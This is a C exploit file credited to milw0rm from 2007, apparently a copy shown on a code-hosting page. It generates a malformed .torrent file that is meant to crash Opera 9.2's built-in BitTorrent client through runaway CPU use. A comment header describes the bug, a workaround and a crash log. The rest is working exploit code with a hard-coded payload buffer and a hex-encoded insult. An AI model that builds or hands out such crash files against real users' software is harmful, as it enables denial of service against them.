113 lines
No EOL
3.3 KiB
C
113 lines
No EOL
3.3 KiB
C
/************************************************************************
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* Created Date :April 23 2007
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*
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* Credits go to n00b for finding this vulnerability and writing p0c.
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* Moderator of http://igniteds.net
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*
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* 0pera 9.2 torrent file remote dos exploit.
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*
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* opera has its own bit torrent client with-in the web browser
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* it is possible to crash opera with a malformed torrent file
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* causing denial of service to legitimate users..Opera will
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* use 100% cpu till the inevitable happens..Which will be a crash
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* To fix this problem disable the bitorrent with in opera..
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*
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* Tested : win xp service pack 1 and 2
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*
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* I wasn't able to catch any debugging info I'm afraid maybe some one
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* else can give it a go.
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*
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* All i was able to get from drwatson pmsl was.
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************************************************************************
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* Application exception occurred:
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* App: C:\Program Files\Opera\Opera.exe (pid=1084)
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* When: 4/22/2007 @ 14:55:29.296
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* Exception number: 80000003 (hard coded breakpoint)
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************************************************************************
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* Seams like some sort of memory leak with the bitorrent client
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* of opera..
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************************************************************************
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********************************
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**/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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void usage(char* file);
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char header[] = "\x64\x38";
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char My_buff[] =
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
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char trailing_buff[] =
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"\x36\x31\x3a\x09\x44\x69\x65\x20\x6f\x70\x65\x72\x61"
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"\x20\x79\x6f\x75\x20\x73\x6c\x75\x74";
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int main(int argc,char* argv[])
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{
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system("cls");
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printf("\n *************************************************");
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printf("\n * Opera torrent file dos exploit by n00b *");
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printf("\n *************************************************");
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printf("\n * Shouts to every one at milw0rm *");
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printf("\n *************************************************");
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printf("\n * Special thanks to str0ke *");
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printf("\n * *");
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printf("\n * Date :Aprill 23 2007 *");
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printf("\n *************************************************");
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printf("\n * CREDITS TO n00b FOR FINDING THIS BUG *");
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printf("\n *************************************************");
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if ( argc!=2 )
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{
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usage(argv[0]);
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}
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FILE *f;
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f = fopen(argv[1],"w");
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if ( !f )
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{
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printf("\nFuck some thing went wrong :D");
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exit(1);
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}
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printf("\n\nMaking torrent file...");
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fwrite(header,1,sizeof(header),f);
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fwrite(My_buff,1,sizeof(My_buff),f);
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fwrite(trailing_buff,1,sizeof(trailing_buff),f);
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printf("\nDone hoooooha!");
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printf("\n ");
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printf("\n0h noes memory leak pmsl !!");
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return 0;
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}
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void usage(char* file)
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{
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printf("\n\nusage: n00b.exe opera.torrent");
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exit(1);
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}
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// milw0rm.com [2007-04-23]
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